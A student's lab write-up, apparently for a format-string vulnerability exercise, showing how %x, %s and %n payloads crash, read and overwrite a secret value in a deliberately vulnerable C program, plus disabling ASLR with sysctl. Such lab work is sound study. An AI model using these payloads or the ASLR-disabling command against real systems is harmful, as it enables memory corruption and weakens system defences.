2.1 Task1: Exploit the vurnerability

Writing the vul_prog.c Simple copy pasting and compiling from the lab-document... Testing before exploiting vurnerability

```
$ ./vul_prog
The variable secret's address is 0xbffff2f0 (on stack )
The variable secret's address is 0x 804b008 (on heap )
Var0 address is 0x 804b008 (on heap )
Var1 address is 0x 804b00c (on heap )
Please enter a decimal integer
23
Please enter a string
hei
hei
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
```

Crash the program Primitive way to crash the program. Just overflow the user_input[100] buffer

```
Var0 address is 0x 804b008 (on heap )
Var1 address is 0x 804b00c (on heap )
Please enter a decimal integer
234344234
Please enter a string
aksjdfløskjflksadjflasdjfløsdjfklsdajfløkasdjfløkdsjfklasjdflkjasdflkøsadjfølkdsjflasjfløkjasdklføjasdlfkja
aksjdfløskjflksadjflasdjfløsdjfklsdajfløkasdjfløkdsjfklasjdflkjasdflkøsadjfølkdsjflasjfløkjasdklføjasdlfkja
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
Segmentation fault (core dumped)
```

This also causes a crash

```
Please enter a string
%s%s%s%s
Segmentation fault (core dumped)
```

...printf just continues to write until it reaches \0, which quickly is out of bounds.

Print out the secret[1] value Printf will try to print out varaibles on the stack, if it is not provided parameters.

```
printf("%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x")
```

When asked to enter string, we do this.

```
Please enter a string
AAAABBBBCCCCC-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

AAAABBBBCCCCC-bfc895a8-00000000-b7711ff4-bfc895ce-bfc895cf-00000001-bfc896b4-08491008-0849100c-00002b67-000
```

The entire stack of main is printed. You can see that it starts to print the format-string buffer characters at the end, 41414141=AAAA, 42424242=BBBB, 43434343=CCCC, which means that all local variables in main has been printed in between.

```
char user_input[100];
int *secret;
int int_input;
int a = 11111, b = 22222, c = 33333, d = 44444;
```

We want to find the secret[1] value. It is not on the stack yet, but the program let's us know the address

```
Var1 address is 0x 9c4b00c (on heap )
```

We can then input this address to the local integer variable

```
Please enter a decimal integer
163885068   # Converted from hex 0x09c4b00c -> 163885068
```

Using printf to print out the stack again, I know that the 9th value i will hit, will be the local integer variable. The 8 first % just prints out addresses. The 9th is the special %s, which will jump to the address pointed to, and write out the values found there.

```
%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-|%s|
bf9b7488-00000000-b7753ff4-bf9b74ae-bf9b74af-00000001-bf9b7594-09c4b008-|U|
```

As you can see, we found secret[1], which has been defined here

```
#define SECRET1 0x44
#define SECRET2 0x55
```

Which is why it prints out as the letter U, since 0x55 is the ASCI code for the letter U in hex.

Modify the secret[1] value

Modifying the variable is now very simple. Just change the %s to %n, which writes the number of characters to the value which the pointer points to.

```
Var1 address is 0x 990500c (on heap )
Please enter a decimal integer
160452620
Please enter a string
%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-|%n|
bfc91608-00000000-b76cdff4-bfc9162e-bfc9162f-00000001-bfc91714-09905008-||
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x49
```

This changes the value of the secret[1] from 0x55 -> 0x49 or from U -> I (ASCII)

Modify the secret[1] value to a pre-determined value

Notice that the reason why the secret[1] changes to 0x49 is that the length of the formatstring up until %n is 0x49 length (73 in decimal). You can test this by counting, 1,2,3,4.....73 and then the %n. %08x == 8 characters. We have control over the string, so we can manipualate which value gets written to secret[1] by varying the length.

Removing the 08x padding from the formatstring we get

```
Please enter a string
```

```
%0x-%0x-%0x-%0x-%0x-%0x-%0x-%0x-|%n|
bfba9a58-0-b76dbff4-bfba9a7e-bfba9a7f-1-bfba9b64-9fd7008-||
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x3a
```

0x55 or 85 or 'U' -> 0x3a or 55 or ':'. I now can write any character between A-Z.

Since the size of the buffer is only 100...

```
char user_input[100];
```

...i can only write characters between ascii value 55 and 100. If I go above 100, I get stack smashing error.

To maximize I want to hit 100 decimal, or the letter 'd' in ASCII.

100-55=45. We need to add 45 letters to the string

```
python -c 'print "%0x-"*8 + "A" * 45 + "|%n|' > formatstring
cat formatstring
%0x-%0x-%0x-%0x-%0x-%0x-%0x-%0x-|%n|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

I found an easy way to convert hex to decimal for the secret[1] integer address. Take this 0x08b5800c.

```
python -c 'print int("08b5800c", 16)'
146112524
```

When I try this code in vul_prog.c i fail to hit excactly where I want to.

```
Please enter a string
%0x-%0x-%0x-%0x-%0x-%0x-%0x-%0x-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|%n|
bfd0b4f8-0-b7789ff4-bfd0b51e-bfd0b51f-1-bfd0b604-8740008-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x67
```

I always get 0x67 even though i expect 0x64.... I don't understand why @question

Task 2: Memory randomization

Because of ASLR, the address of secret[0] changes each time I execute the program.

```
$ vul_prog
The variable secrets address is 0xbfaff9f0 (on stack )
The variable secrets address is 0x 92bb008 (on heap )
Var0 address is 0x 92bb008 (on heap )
Var1 address is 0x 92bb00c (on heap )
Please enter a decimal integer
^[[A^C
$ vul_prog
The variable secrets address is 0xbfe52fe0 (on stack )
The variable secrets address is 0x 8583008 (on heap )
Var0 address is 0x 8583008 (on heap )
Var1 address is 0x 858300c (on heap )
```

Which is why is is difficult to find secret[1] without beiing able to input into the input_int during run-time.

Turning off ASLR

```
sudo sysctl -w kernel.randomize_va_space=0
```

Now the addresses to secret[0] are the same each run-time

```
$ vul_prog
The variable secret's address is 0xbffff2f4 (on stack )
The variable secret's address is 0x 804b008 (on heap )
Var0 address is 0x 804b008 (on heap )
Var1 address is 0x 804b00c (on heap )
Please enter a string
^C
$ vul_prog
The variable secret's address is 0xbffff2f4 (on stack )
The variable secret's address is 0x 804b008 (on heap )
Var0 address is 0x 804b008 (on heap )
Var1 address is 0x 804b00c (on heap )
Please enter a string
```

We can now put 0x 804b008 + 0x04 in a file, using python. 0x04 bytes to get from secret[0] -> secret[1]. And then pipe it back into vul_c using cat

```
$ python - 'print "\x0c\xb0\x04\x08"' > secretaddress
$ cat secretaddress | vul_prog
```

I know that I can reach the format-string buffer from Task1.

```
$ python -c 'print "AAAA" + "BBBB" + "CCCC" + "-%08x" * 16' > secretaddress
$ cat secretaddress | vul_prog
Please enter a string
AAAABBBBCCCC-bffff308-00000000-b7fc4ff4-bffff32e-bffff32f-00000001-bffff414-bffff32f-0804b008-00002b67-0000
```

At the end I have reached the buffer, where AAAA-BBBB-CCCC is. No I just replace BBBB with '\x0c\xb0\x04\x0c'. And then point to it using %s at the end of the printf.

Special character problems I was unlucky that the address for secret[1] was 0C B0 04 08. This is unlucky because **0x0C** is one of the special characters.

- 0x0A = new-line
- 0x0C = form-feed
- 0x0D = rerturn
- 0x20 = space

scanf() - interprets these characters as separators, and will stop scanning.

The task let's us use an extra malloc() to shift around the addressess:

```
int throwAway = malloc(2 * sizeof(int));
secret = (int *) malloc(2 * sizeof(int));  // secret pointers
```

This pushes the address of secret[1] to a more desireable position:

```
Var1 address is 0x 8b7901c (on heap )
```

Using everything together the *secretaddress* file is generated.

```
$ python -c 'print "AAAA"+"\x1c\xb0\x04\x08"+"CCCC"+"-%08x"*16 + ""' > secretaddress
```

We now got the address successfully into the program buffer:

```
$ cat secretaddress | vul_prog
....
AAAA@CCCC-bfe7a108-00000001-b76a0909-bfe7a12f-bfe7a12e-00000000-bfe7a214-0973b018-0973b008-41414141-08b7901
```

We just have to decrease the number of **-%08x**, to target the address exactly with an **%s**. Reducing to 10, should do it.

```
$ python -c 'print "AAAA"+"\x1c\xb0\x04\x08"+"CCCC"+"-%08x"*10 + "| %s"' > secretaddress
```

Voila! I can now display the **U**

```
cat secretaddress | vul_prog
...
AAAA@CCCC-bffff308-00000001-b7eb6909-bffff32f-bffff32e-00000000-bffff414-0804b018-0804b008-41414141|---U
```

Writng character to secret[1]

Simple. Just change **%s** --> **%n**.

```
$ python -c 'print "AAAA"+"\x1c\xb0\x04\x08"+"CCCC"+"-%08x"*10 + "|---%n"' > secretaddress


cat secretaddress | vul_prog
...
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x6a
```

As you can see secret[1] changed from 0x55 -> 0x6a.